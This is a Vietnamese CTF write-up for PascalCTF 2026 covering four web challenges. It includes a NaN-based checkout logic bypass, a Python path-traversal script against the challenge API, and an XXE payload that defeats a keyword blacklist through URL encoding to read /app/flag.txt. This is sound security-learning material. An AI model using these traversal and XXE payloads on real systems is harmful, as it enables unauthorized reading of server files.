PascalCTF 2026

JSHit
#

Bài này thuần html 🤡
Chúng ta sẽ lấy được chuỗi này ở source code

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Dùng cái này để decode và lấy flag trong source

FLAG: pascalCTF{1_h4t3_j4v4scr1pt_s0o0o0o0_much}

ZazaStore
#

Bài này lỗi logic code
Sau khi login ta có giao diện mua hàng như sau
Product không có fillter -> Có thể thêm 1 product bất kì từ input người dùng
Ta sẽ up thử lên 1 product bất kì
Tiếp tục là lỗi khi lấy giá trị total tử mảng product ; nhưng sẽ ra sao nếu như product không có trong cart ; nó sẽ như sau total = undefined
Như vậy sẽ pass qua điều kiện check giá trị ; cùng với đó mua thêm RealZa để get flag
Flow exploit sẽ như sau

1. Login
   ↓
2. POST /add-cart {"product": "Hack", "quantity": 1}
   → cart = {"Hack": 1}
   ↓
3. POST /add-cart {"product": "RealZa", "quantity": 1}
   → cart = {"Hack": 1, "RealZa": 1}
   ↓
4. POST /checkout
   → total = prices["Hack"] * 1 + prices["RealZa"] * 1
   → total = undefined * 1 + 1000 * 1
   → total = NaN + 1000
   → total = NaN
   → NaN > 100 = false ✅ BYPASS!
   → inventory["Hack"] = 1
   → inventory["RealZa"] = 1  ← FLAG HERE!
   ↓
5. GET /inventory
   → Hiển thị content["RealZa"] = process.env.FLAG 🚩

Thêm hàng mình cần mua thật vào
Post lên checkout với json rỗng để trigger được lỗi
Sau đó load lại /inventory

Travel Playlist
#

import requests

url = "https://travel.ctf.pascalctf.it/api/get_json"
headers = {"Content-Type": "application/json"}

payloads = [
    "../../../../../../app/flag.txt",
    "../flag.txt",
    "/app/flag.txt",
    "../../../../app/flag",
    "../../../flag",
    "flag.txt",
    "flag"
]

for payload in payloads:
    data = {"index": payload}
    print(f"\n[*] Trying: {payload}")
    try:
        r = requests.post(url, json=data, headers=headers)
        print(f"Status: {r.status_code}")
        print(f"Response: {r.text[:200]}")
    except Exception as e:
        print(f"Error: {e}")

PDFile
#

Phân tích
#

ta thấy trang web cho người dùng upload các file định dạng .pasx (XML) và chuyển đổi sang PDF

app.py
#

Hàm sanitize(xml_content)

bộ lọc (WAF) để chặn các content độc hại
- Nó decode nội dung file sang chuỗi UTF-8
- Kiểm tra sự tồn tại của chuỗi &# => chặn việc bypass bằng HTML entities
- blacklist: danh sách các từ khóa bị cấm: flag, etc, sh, bash, proc, pascal, tmp, env, exec, file
- Nếu bất kỳ keyword nào xuất hiện trong nội dung file (không phân biệt hoa thường) hàm sẽ trả về false và file bị từ chối

Hàm parse_pasx(xml_content)

phân tích cú pháp XML sau khi đã qua sanitize
- Cấu hình parser: parser = etree.XMLParser(encoding='utf-8', no_network=False, resolve_entities=True, recover=True)
- tham số resolve_entities=True được bật => cho phép trình phân tích XML giải quyết các entities bao gồm cả các external entities => XXE

Hàm generate_pdf(book_data, output_path)

Lấy dữ liệu đã parse (title, author, content) và ghi vào file PDF
Nếu ta exploit thành công XXE để đọc file, nội dung file đó sẽ hiển trị trong file PDF đầu ra

Vuln: XXE
#

dù có hàm sanitize để chặn các keyword nhạy cảm như file, flag, nhưng nó chỉ thực hiện so sánh chuỗi trên nội dung raw
Mà trình phân tích cú pháp XML (lxml) có khả năng hiểu và giải mã các ký tự được mã hóa URL trong đường dẫn hệ thống

=> ta có thể định nghĩa một external entity trỏ đến file /app/flag.txt (nơi chứa flag theo Dockerfile). Do flag bị cấm nên ta không thể để trực tiếp SYSTEM "file:///app/flag.txt" => Ta cần sử dụng mã hoá để lừa hàm sanitize nhưng vẫn để cho lxml hiểu được đường dẫn đúng

Exploit
#

bypass `blacklist`
#

Thay vì dùng file://, lxml cho phép dùng đường dẫn tuyệt đối trên linux
thay vì viết flag ta dùng URL encoding cho một ký tự trong đó (VD: ký tự a có mã hex là 61) khi đó flag => fl%61g
Khi lxml phân tích thì nó đọc đường dẫn /app/fl%61g.txt, tự động giải mã %61 thành a => đọc file /app/flag.txt

clean content
#

Hàm sanitize quét toàn bộ file XML nên các thẻ <author>,<title>,,<content> không được chứa bất kỳ từ khóa nào trong blacklist (VD: sh, bash, tmp...)
- không dùng các từ tiếng Anh có chứa sh (như "should", "flash", "bashful")

Build payload
#

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "/app/fl%61g.txt">
]>
<data>
    <title>&xxe;</title>
    <author>Admin</author>
    <chapters>
        <chapter number="1">
            <title>Test</title>
            <content>Hello</content>
        </chapter>
    </chapters>
</data>

attack
#

Lưu nội dung với file có đuôi là .pasx
upload lên trang web

DONE !

FLAG: pascalCTF{xml_t0_pdf_1s_th3_n3xt_b1g_thing}

JSHit#

ZazaStore#

Travel Playlist#

PDFile#

Phân tích#

app.py#

Vuln: XXE#

Exploit#

bypass blacklist#

clean content#

Build payload#

attack#